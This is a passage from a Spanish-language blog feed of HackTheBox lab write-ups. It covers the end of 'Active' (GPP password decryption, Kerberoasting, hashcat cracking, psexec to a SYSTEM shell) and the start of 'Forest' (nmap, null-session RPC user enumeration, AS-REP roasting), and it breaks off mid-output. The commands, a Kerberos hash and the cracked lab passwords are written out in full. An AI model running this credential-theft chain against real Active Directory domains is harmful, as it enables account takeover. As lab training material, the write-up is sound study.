    dr--r--r--                <span class="hljs-number">0</span> Sat Jul <span class="hljs-number">21</span> <span class="hljs-number">06</span>:<span class="hljs-number">37</span>:<span class="hljs-number">44</span> <span class="hljs-number">2018</span>    .
    dr--r--r--                <span class="hljs-number">0</span> Sat Jul <span class="hljs-number">21</span> <span class="hljs-number">06</span>:<span class="hljs-number">37</span>:<span class="hljs-number">44</span> <span class="hljs-number">2018</span>    ..
    dr--r--r--                <span class="hljs-number">0</span> Sat Jul <span class="hljs-number">21</span> <span class="hljs-number">06</span>:<span class="hljs-number">37</span>:<span class="hljs-number">44</span> <span class="hljs-number">2018</span>    active.htb
</code></pre><p>Vemos un directorio active.htb, para ir descargando las cosas uno por uno. Vamos a <strong>descargarnos</strong> todo de forma recursiva.(obs: simplemente dar al enter cuando pide la contraseña)</p>
<pre><code class="lang-bash">$ smbclient //10.10.10.100/Replication
Password <span class="hljs-keyword">for</span> [WORKGROUP\dh89]:
Anonymous login successful
Try <span class="hljs-string">"help"</span> to get a list of possible commands.
smb: \&gt; recurse on
smb: \&gt; prompt off
smb: \&gt; mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0,0 KiloBytes/sec) (average 0,0 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0,0 KiloBytes/sec) (average 0,0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (1,9 KiloBytes/sec) (average 0,6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (0,4 KiloBytes/sec) (average 0,6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (1,4 KiloBytes/sec) (average 0,7 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (4,4 KiloBytes/sec) (average 1,1 KiloBytes/sec)
smb: \&gt;
</code></pre>
<p>Miramos que nos descagamos por <strong>smb</strong></p>
<pre><code class="lang-bash">$ ls
active.htb  content  exploit  nmap
$ <span class="hljs-built_in">cd</span> active.htb
$ tree
.
├── DfsrPrivate
│   ├── ConflictAndDeleted
│   ├── Deleted
│   └── Installing
├── Policies
│   ├── {31B2F340-016D-11D2-945F-00C04FB984F9}
│   │   ├── GPT.INI
│   │   ├── Group Policy
│   │   │   └── GPE.INI
│   │   ├── MACHINE
│   │   │   ├── Microsoft
│   │   │   │   └── Windows NT
│   │   │   │       └── SecEdit
│   │   │   │           └── GptTmpl.inf
│   │   │   ├── Preferences
│   │   │   │   └── Groups
│   │   │   │       └── Groups.xml
│   │   │   └── Registry.pol
│   │   └── USER
│   └── {6AC1786C-016F-11D2-945F-00C04fB984F9}
│       ├── GPT.INI
│       ├── MACHINE
│       │   └── Microsoft
│       │       └── Windows NT
│       │           └── SecEdit
│       │               └── GptTmpl.inf
│       └── USER
└── scripts
</code></pre>
<p>Vemos un <strong>.xml</strong>, vamos a hecharle un vistazo</p>
<pre><code class="lang-bash">$ cat Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
</code></pre>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">Groups</span> <span class="hljs-attr">clsid</span>=<span class="hljs-string">"{3125E937-EB16-4b4c-9934-544FC6D24D26}"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">User</span> <span class="hljs-attr">clsid</span>=<span class="hljs-string">"{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"active.htb\SVC_TGS"</span> <span class="hljs-attr">image</span>=<span class="hljs-string">"2"</span> <span class="hljs-attr">changed</span>=<span class="hljs-string">"2018-07-18 20:46:06"</span> <span class="hljs-attr">uid</span>=<span class="hljs-string">"{EF57DA28-5F69-4530-A59E-AAB58578219D}"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">Properties</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"U"</span> <span class="hljs-attr">newName</span>=<span class="hljs-string">""</span> <span class="hljs-attr">fullName</span>=<span class="hljs-string">""</span> <span class="hljs-attr">description</span>=<span class="hljs-string">""</span> <span class="hljs-attr">cpassword</span>=<span class="hljs-string">"edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"</span> <span class="hljs-attr">changeLogon</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">noChange</span>=<span class="hljs-string">"1"</span> <span class="hljs-attr">neverExpires</span>=<span class="hljs-string">"1"</span> <span class="hljs-attr">acctDisabled</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">userName</span>=<span class="hljs-string">"active.htb\SVC_TGS"</span>/&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">User</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">Groups</span>&gt;</span>
</code></pre>
<p>Vemos una password pero esta <strong>encryptada</strong>, en este caso <strong>GPP</strong> (Group Policy Preferences). Esto es peligroso ya que microsoft en su momento, compartio la llave <strong>AES</strong> para nosotros eso no va ser ningun problema</p>
<pre><code class="lang-bash">$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
</code></pre>
<p>El <strong>user</strong> es <strong>*svc_tgs</strong>(se encuentra en el mismo archivo), vamos a validarlo con <strong>crackmapexec</strong></p>
<pre><code class="lang-bash"><span class="hljs-variable">$crackmapexec</span> smb 10.10.10.100 -u svc_tgs -p GPPstillStandingStrong2k18
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
</code></pre>
<p>Y nos pone un '[+]', pero no <strong>pwned!</strong>, y como el puerto <strong>5985</strong> no esta abierto, no podemos conectarnos con <strong>winrm</strong>. Asi que vamos a usar estas credenciales para conectarnos por <strong>smb</strong> y <strong>ldap</strong>. Pero no encontramos nada. </p>
<h1 id="heading-escalada-de-privilegios">Escalada de Privilegios</h1>
<p>En este punto se me ocurrio realizar un <strong>Kerberoasting attack</strong>, ya que poseo una credencial valida (link sobre mas info sobre Kerberoasting attack -&gt; <a target="_blank" href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast">hacktricks</a>)</p>
<pre><code class="lang-bash">$ date --<span class="hljs-built_in">set</span> <span class="hljs-string">"<span class="hljs-subst">$(net time -S 10.10.10.100)</span>"</span>
vie 11 ago 2023 05:30:28 -04
$ impacket-GetUserSPNs -request active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2023-08-11 01:39:21.761759             



<span class="hljs-variable">$krb5tgs</span><span class="hljs-variable">$23</span>$*Administrator<span class="hljs-variable">$ACTIVE</span>.HTB<span class="hljs-variable">$active</span>.htb/Administrator*<span class="hljs-variable">$3bd21142fb87b9b15387280fda3ce9bb</span><span class="hljs-variable">$a71d0d2836501b50f6f867592b83156d2d7e912d5ae25b300826f08dadb07a49f7eb775d47208757c2011e2524215eb3fb99fde4396008a6c248b459f804ac80367d89e3990a673b87329804de9da406044ec0c48cf33a05b491d7ca7c1ca8863365feb23fae64d3b7f7b7a8f5f1e93860a5baf5493151017e297d788bc819e69997bea68b9d95501ae25eeb7b71b6c793f93a8a9a113ac0e22ea1ea0117420a579a98773d480d197a756017c5a09661d6e0b1dea30da49c974f831cbc20a642be37c32a3f5c9a54a7183c213c743e1d463d2c2b47ebc07104492e5263bcc9b7accadc1b74963c083116cb3308a0e05752af3a47394fbf05304e1eb5f6d155cf24b86567b51bdc4321bbeb7f2e27786b265c94a1fb2e12ffd8a25d0fce365226f64e53a40deaceb307d4dfe4bfe0c0e20332a4ea956c0678fc70f723d478bd3410459b4393d8ee9651befd098ccce6031f78f835caf994538aa072fb661f95b7700e7bf9ff786625bb0162a7791bda4dc323b4eded7ac6f9db823ed7ce0209f6c769d7c3562a0834cdfbbed12251375fe38f12aebf0cb872a0be7087f3d92303e81a6ef088dc62843003cc16bf7a568971ba4fd92e3a168a527dad4c13985c11e71a6a1365859bbaa16db17bae2c57e474a82b210ec8f7f00fea53db0d8da8882eeb54f855f380c36be212513587c20fd3a5cecb224e39d46610c341ff99761531d3141d54e0e621ddcd9f12b72406a08840014dc341a1009f536d3da43b897c1a2a3b40d168c0117821f118c985f4d7e027e49f535940bc64f5a8c8e1e34aca67e99116edef3f94a9918cc7c8744abed25dc9aef0dc9b1fa47f9e45bd5f7cb4093f92095ca003958e6720c38791aeee32eb6e9fa49951ddc26e23ca8b692c658ef564f035611f1beb1447e39fbdc3e97575e73628e2dfb52d6be0d0bd7b273776c6c6af562dfa4ace86272740d843446af5f34df88d3fb24baded199714cd65118b4956cb7ddfb925e3d859ae8cfe4369a5042b046db04e07e3fe0e27988675d5a32d28e285f6b091ee126ab651229326e388a461bf18468fc6dd1aa69e927f640c028c0a937808897247533c0f2e71497ac35dcfc4382b2240d0cec14bee35e90c74e79506e43c92eb2b6ea47caa88854e4113ab7f572aa231710f184e87b383ce9aa56e3a3ef22f6d59edb37b60d0280fac4b2514db36a60d804c59c89688133accb4d3c9caf56bcfcbf8b5b979cc83f79beb47c960332665</span>
</code></pre>
<p>Y vemos que el <strong>user</strong> <strong>Administrator</strong> es vulnerable a <strong>Kerberoasting attack</strong>, vamos a copiar el hash e intentarlo romper un <strong>hashcat</strong> el modo es el <strong>13100</strong> que le corresponde a "Kerberos 5, etype 23, TGS-REP"</p>
<pre><code class="lang-bash">$ cat ../content/<span class="hljs-built_in">hash</span> 
<span class="hljs-variable">$krb5tgs</span><span class="hljs-variable">$23</span>$*Administrator<span class="hljs-variable">$ACTIVE</span>.HTB<span class="hljs-variable">$active</span>.htb/Administrator*<span class="hljs-variable">$3bd21142fb87b9b15387280fda3ce9bb</span><span class="hljs-variable">$a71d0d2836501b50f6f867592b83156d2d7e912d5ae25b300826f08dadb07a49f7eb775d47208757c2011e2524215eb3fb99fde4396008a6c248b459f804ac80367d89e3990a673b87329804de9da406044ec0c48cf33a05b491d7ca7c1ca8863365feb23fae64d3b7f7b7a8f5f1e93860a5baf5493151017e297d788bc819e69997bea68b9d95501ae25eeb7b71b6c793f93a8a9a113ac0e22ea1ea0117420a579a98773d480d197a756017c5a09661d6e0b1dea30da49c974f831cbc20a642be37c32a3f5c9a54a7183c213c743e1d463d2c2b47ebc07104492e5263bcc9b7accadc1b74963c083116cb3308a0e05752af3a47394fbf05304e1eb5f6d155cf24b86567b51bdc4321bbeb7f2e27786b265c94a1fb2e12ffd8a25d0fce365226f64e53a40deaceb307d4dfe4bfe0c0e20332a4ea956c0678fc70f723d478bd3410459b4393d8ee9651befd098ccce6031f78f835caf994538aa072fb661f95b7700e7bf9ff786625bb0162a7791bda4dc323b4eded7ac6f9db823ed7ce0209f6c769d7c3562a0834cdfbbed12251375fe38f12aebf0cb872a0be7087f3d92303e81a6ef088dc62843003cc16bf7a568971ba4fd92e3a168a527dad4c13985c11e71a6a1365859bbaa16db17bae2c57e474a82b210ec8f7f00fea53db0d8da8882eeb54f855f380c36be212513587c20fd3a5cecb224e39d46610c341ff99761531d3141d54e0e621ddcd9f12b72406a08840014dc341a1009f536d3da43b897c1a2a3b40d168c0117821f118c985f4d7e027e49f535940bc64f5a8c8e1e34aca67e99116edef3f94a9918cc7c8744abed25dc9aef0dc9b1fa47f9e45bd5f7cb4093f92095ca003958e6720c38791aeee32eb6e9fa49951ddc26e23ca8b692c658ef564f035611f1beb1447e39fbdc3e97575e73628e2dfb52d6be0d0bd7b273776c6c6af562dfa4ace86272740d843446af5f34df88d3fb24baded199714cd65118b4956cb7ddfb925e3d859ae8cfe4369a5042b046db04e07e3fe0e27988675d5a32d28e285f6b091ee126ab651229326e388a461bf18468fc6dd1aa69e927f640c028c0a937808897247533c0f2e71497ac35dcfc4382b2240d0cec14bee35e90c74e79506e43c92eb2b6ea47caa88854e4113ab7f572aa231710f184e87b383ce9aa56e3a3ef22f6d59edb37b60d0280fac4b2514db36a60d804c59c89688133accb4d3c9caf56bcfcbf8b5b979cc83f79beb47c960332665</span>
</code></pre>
<pre><code class="lang-bash">$ hashcat -m 13100 <span class="hljs-built_in">hash</span> /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform <span class="hljs-comment">#1 [The pocl project] ....</span>
</code></pre>
<p>Luego de un rato, nos topamos que la contraseña es "Ticketmaster1968". Vamos a validarlo con <strong>crackmapexec</strong></p>
<pre><code class="lang-bash"><span class="hljs-variable">$crackmapexec</span> smb 10.10.10.100 -u Administrator -p Ticketmaster1968
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
</code></pre>
<p>y vemos el <strong>(Pwn3d!)</strong>, ahora podemos tirar de <strong>psexec</strong> para ganar acceso a la maquina victima</p>
<pre><code class="lang-bash"><span class="hljs-variable">$impacket</span>-psexec active.htb/administrator@10.10.10.100
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file cYWeJIsc.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service STVf on 10.10.10.100.....
[*] Starting service STVf.....
[!] Press <span class="hljs-built_in">help</span> <span class="hljs-keyword">for</span> extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32&gt;whoami
nt authority\system
</code></pre>
<hr />
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Me gusto la maquina <strong>Active</strong> de htb, primera vez que tocamos <strong>crackear</strong> gracias al codigo <strong>AES</strong> y lo dicho siempre, espero que les sirva la maquina para aprender ya saben que tienen los comentarios o me pueden contactar por <strong>disc</strong> cualquier duda</p>
]]></content:encoded></item><item><title><![CDATA[Forest-Writeup]]></title><description><![CDATA[Skills
- RPC Enumeration - Getting valid domain users
- AS-RepRoast attack 
- BloodHound Enumeration
- DCSync Exploitation - Secretsdump.py

Reconocimiento
Para comenzar vamos a crear los directorios para poder resolver la maquina mas cómodamente
$ m...]]></description><link>https://varovish.hashnode.dev/forest-writeup</link><guid isPermaLink="true">https://varovish.hashnode.dev/forest-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[AS-RepRoast attack ]]></category><category><![CDATA[DCSync Exploitation]]></category><category><![CDATA[BloodHound Enumeration]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Wed, 02 Aug 2023 10:15:03 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1690449273/htb/Forest/forest_njzyok.png" alt="Fores.png" /></p>
<hr />
<h1 id="heading-skills">Skills</h1>
<pre><code>- RPC Enumeration - Getting valid domain users
- AS-RepRoast attack 
- BloodHound Enumeration
- DCSync Exploitation - Secretsdump.py
</code></pre><hr />
<h1 id="heading-reconocimiento">Reconocimiento</h1>
<p>Para comenzar vamos a crear los directorios para poder resolver la <strong>maquina</strong> mas cómodamente</p>
<pre><code class="lang-bash">$ mkdir Forest-10.10.10.161
$ <span class="hljs-built_in">cd</span> Forest-10.10.10.161
$ mkdir nmap exploit content
</code></pre>
<p>Vamos a realizar un escaneo con <strong>nmap</strong>, para ver que puertos están abiertos del lado de la maquina victima</p>
<pre><code class="lang-bash">$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
</code></pre>
<p>Yo lo exporto en formato <strong>grepeable</strong> por que tengo una función llamada <a target="_blank" href="https://pastebin.com/tYpwpauW">extractPorts</a> -&gt; (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)</p>
<pre><code class="lang-bash">$ extractPorts allPorts
</code></pre>
<pre><code>[*] Extracting information...

    [*] IP Address: <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>
    [*] Open ports: <span class="hljs-number">53</span>,<span class="hljs-number">88</span>,<span class="hljs-number">135</span>,<span class="hljs-number">139</span>,<span class="hljs-number">389</span>,<span class="hljs-number">445</span>,<span class="hljs-number">464</span>,<span class="hljs-number">593</span>,<span class="hljs-number">636</span>,<span class="hljs-number">3268</span>,<span class="hljs-number">3269</span>,<span class="hljs-number">5985</span>,<span class="hljs-number">9389</span>,<span class="hljs-number">47001</span>,<span class="hljs-number">49664</span>,<span class="hljs-number">49665</span>,<span class="hljs-number">49666</span>,<span class="hljs-number">49667</span>,<span class="hljs-number">49671</span>,<span class="hljs-number">49676</span>,<span class="hljs-number">49677</span>,<span class="hljs-number">4</span>
<span class="hljs-number">684</span>,<span class="hljs-number">49703</span>,<span class="hljs-number">49951</span>

[*] Ports copied to clipboard
</code></pre><p>Vamos a realizar un escaneo mas exhaustivo, para ver la <strong>versión</strong> y <strong>servicios</strong> que corren para esos puertos</p>
<pre><code class="lang-bash">$ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49951 10.10.10.161 -oN targeted
</code></pre>
<pre><code class="lang-python"><span class="hljs-comment"># Nmap 7.93 scan initiated Thu Jul 27 01:24:26 2023 as: nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49951 -oN targeted 10.10.10.161</span>
Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>
Host <span class="hljs-keyword">is</span> up (<span class="hljs-number">0.18</span>s latency).

PORT      STATE SERVICE      VERSION
<span class="hljs-number">53</span>/tcp    open  domain       Simple DNS Plus
<span class="hljs-number">88</span>/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: <span class="hljs-number">2023</span><span class="hljs-number">-07</span><span class="hljs-number">-27</span> <span class="hljs-number">09</span>:<span class="hljs-number">31</span>:<span class="hljs-number">28</span>Z)
<span class="hljs-number">135</span>/tcp   open  msrpc        Microsoft Windows RPC
<span class="hljs-number">139</span>/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
<span class="hljs-number">389</span>/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
<span class="hljs-number">445</span>/tcp   open  microsoft-ds Windows Server <span class="hljs-number">2016</span> Standard <span class="hljs-number">14393</span> microsoft-ds (workgroup: HTB)
<span class="hljs-number">464</span>/tcp   open  kpasswd5?
<span class="hljs-number">593</span>/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP <span class="hljs-number">1.0</span>
<span class="hljs-number">636</span>/tcp   open  tcpwrapped
<span class="hljs-number">3268</span>/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
<span class="hljs-number">3269</span>/tcp  open  tcpwrapped
<span class="hljs-number">5985</span>/tcp  open  http         Microsoft HTTPAPI httpd <span class="hljs-number">2.0</span> (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/<span class="hljs-number">2.0</span>
|_http-title: Not Found
<span class="hljs-number">9389</span>/tcp  open  mc-nmf       .NET Message Framing
<span class="hljs-number">47001</span>/tcp open  http         Microsoft HTTPAPI httpd <span class="hljs-number">2.0</span> (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/<span class="hljs-number">2.0</span>
|_http-title: Not Found
<span class="hljs-number">49664</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49665</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49666</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49667</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49671</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49676</span>/tcp open  ncacn_http   Microsoft Windows RPC over HTTP <span class="hljs-number">1.0</span>
<span class="hljs-number">49677</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49684</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49703</span>/tcp open  msrpc        Microsoft Windows RPC
<span class="hljs-number">49951</span>/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: <span class="hljs-number">6</span>h26m55s, deviation: <span class="hljs-number">4</span>h02m31s, median: <span class="hljs-number">4</span>h06m54s
| smb2-time: 
|   date: <span class="hljs-number">2023</span><span class="hljs-number">-07</span><span class="hljs-number">-27</span>T09:<span class="hljs-number">32</span>:<span class="hljs-number">21</span>
|_  start_date: <span class="hljs-number">2023</span><span class="hljs-number">-07</span><span class="hljs-number">-27</span>T05:<span class="hljs-number">47</span>:<span class="hljs-number">28</span>
| smb2-security-mode: 
|   <span class="hljs-number">311</span>: 
|_    Message signing enabled <span class="hljs-keyword">and</span> required
| smb-os-discovery: 
|   OS: Windows Server <span class="hljs-number">2016</span> Standard <span class="hljs-number">14393</span> (Windows Server <span class="hljs-number">2016</span> Standard <span class="hljs-number">6.3</span>)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: <span class="hljs-number">2023</span><span class="hljs-number">-07</span><span class="hljs-number">-27</span>T02:<span class="hljs-number">32</span>:<span class="hljs-number">23</span><span class="hljs-number">-07</span>:<span class="hljs-number">00</span>
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</code></pre>
<p>Vemos varios <strong>puertos</strong>, vamos a empezar con el <strong>445</strong> utilizando la herramienta <strong>crackmapexec</strong></p>
<pre><code class="lang-bash">$ crackmapexec smb 10.10.10.161
</code></pre>
<pre><code>SMB         <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.161</span>    <span class="hljs-number">445</span>    FOREST           [*] Windows Server <span class="hljs-number">2016</span> Standard <span class="hljs-number">14393</span> x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
</code></pre><p>Vamos a listar las directorios que se están compartiendo por el puerto <strong>445/smb</strong> con la herramienta <strong>smbclient</strong></p>
<pre><code class="lang-bash">$ smbclient -L 10.10.10.161 -N
</code></pre>
<pre><code>Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
SMB1 disabled -- no workgroup available
</code></pre><p>Y vemos que no hay nada, probablemente necesitemos de credenciales para poder listar lo que se este <strong>compartiendo</strong>, vemos el servicio <strong>rpc</strong> esta habilitado. Vamos a intentar conectarnos, sin proporcionar <strong>credenciales</strong>.</p>
<pre><code class="lang-bash">$ rpcclient -U <span class="hljs-string">""</span> -N 10.10.10.161
</code></pre>
<pre><code>rpcclient $&gt;
</code></pre><p>Y nos deja, vamos a intentar listar los <strong>usuarios</strong> del dominio</p>
<pre><code>rpcclient $&gt; enumdomusers
</code></pre><pre><code>user:[Administrator] rid:[<span class="hljs-number">0x1f4</span>]
<span class="hljs-attr">user</span>:[Guest] rid:[<span class="hljs-number">0x1f5</span>]
<span class="hljs-attr">user</span>:[krbtgt] rid:[<span class="hljs-number">0x1f6</span>]
<span class="hljs-attr">user</span>:[DefaultAccount] rid:[<span class="hljs-number">0x1f7</span>]
<span class="hljs-attr">user</span>:[$<span class="hljs-number">331000</span>-VK4ADACQNUCA] rid:[<span class="hljs-number">0x463</span>]
<span class="hljs-attr">user</span>:[SM_2c8eef0a09b545acb] rid:[<span class="hljs-number">0x464</span>]
<span class="hljs-attr">user</span>:[SM_ca8c2ed5bdab4dc9b] rid:[<span class="hljs-number">0x465</span>]
<span class="hljs-attr">user</span>:[SM_75a538d3025e4db9a] rid:[<span class="hljs-number">0x466</span>]
<span class="hljs-attr">user</span>:[SM_681f53d4942840e18] rid:[<span class="hljs-number">0x467</span>]
<span class="hljs-attr">user</span>:[SM_1b41c9286325456bb] rid:[<span class="hljs-number">0x468</span>]
<span class="hljs-attr">user</span>:[SM_9b69f1b9d2cc45549] rid:[<span class="hljs-number">0x469</span>]
<span class="hljs-attr">user</span>:[SM_7c96b981967141ebb] rid:[<span class="hljs-number">0x46a</span>]
<span class="hljs-attr">user</span>:[SM_c75ee099d0a64c91b] rid:[<span class="hljs-number">0x46b</span>]
<span class="hljs-attr">user</span>:[SM_1ffab36a2f5f479cb] rid:[<span class="hljs-number">0x46c</span>]
<span class="hljs-attr">user</span>:[HealthMailboxc3d7722] rid:[<span class="hljs-number">0x46e</span>]
<span class="hljs-attr">user</span>:[HealthMailboxfc9daad] rid:[<span class="hljs-number">0x46f</span>]
<span class="hljs-attr">user</span>:[HealthMailboxc0a90c9] rid:[<span class="hljs-number">0x470</span>]
<span class="hljs-attr">user</span>:[HealthMailbox670628e] rid:[<span class="hljs-number">0x471</span>]
<span class="hljs-attr">user</span>:[HealthMailbox968e74d] rid:[<span class="hljs-number">0x472</span>]
<span class="hljs-attr">user</span>:[HealthMailbox6ded678] rid:[<span class="hljs-number">0x473</span>]
<span class="hljs-attr">user</span>:[HealthMailbox83d6781] rid:[<span class="hljs-number">0x474</span>]
<span class="hljs-attr">user</span>:[HealthMailboxfd87238] rid:[<span class="hljs-number">0x475</span>]
<span class="hljs-attr">user</span>:[HealthMailboxb01ac64] rid:[<span class="hljs-number">0x476</span>]
<span class="hljs-attr">user</span>:[HealthMailbox7108a4e] rid:[<span class="hljs-number">0x477</span>]
<span class="hljs-attr">user</span>:[HealthMailbox0659cc1] rid:[<span class="hljs-number">0x478</span>]
<span class="hljs-attr">user</span>:[sebastien] rid:[<span class="hljs-number">0x479</span>]
<span class="hljs-attr">user</span>:[lucinda] rid:[<span class="hljs-number">0x47a</span>]
<span class="hljs-attr">user</span>:[svc-alfresco] rid:[<span class="hljs-number">0x47b</span>]
<span class="hljs-attr">user</span>:[andy] rid:[<span class="hljs-number">0x47e</span>]
<span class="hljs-attr">user</span>:[mark] rid:[<span class="hljs-number">0x47f</span>]
<span class="hljs-attr">user</span>:[santi] rid:[<span class="hljs-number">0x480</span>]
<span class="hljs-attr">user</span>:[aman] rid:[<span class="hljs-number">0x2581</span>]
</code></pre><p>Y vemos varios <strong>usuarios</strong>, podemos intentar un <strong>ASREPRoast attack</strong> (Les comparto un link de hacktricks sobre mas info sobre el ASREPRoast attack -&gt; <a target="_blank" href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast">ASREPRoast attack</a>). Guardamos los <strong>usuarios</strong> en un archivo</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> ../content
$ cat users
</code></pre>
<pre><code>Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi
aman
</code></pre><p>Vamos a usar la herramienta <strong>GetNPUsers</strong> para realizar el <strong>ASREPRoast attack</strong></p>
<pre><code class="lang-bash">$ impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users
</code></pre>
<pre><code>Impacket v0<span class="hljs-number">.9</span><span class="hljs-number">.22</span> - Copyright <span class="hljs-number">2020</span> SecureAuth Corporation

[-] User Administrator doesn<span class="hljs-string">'t have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
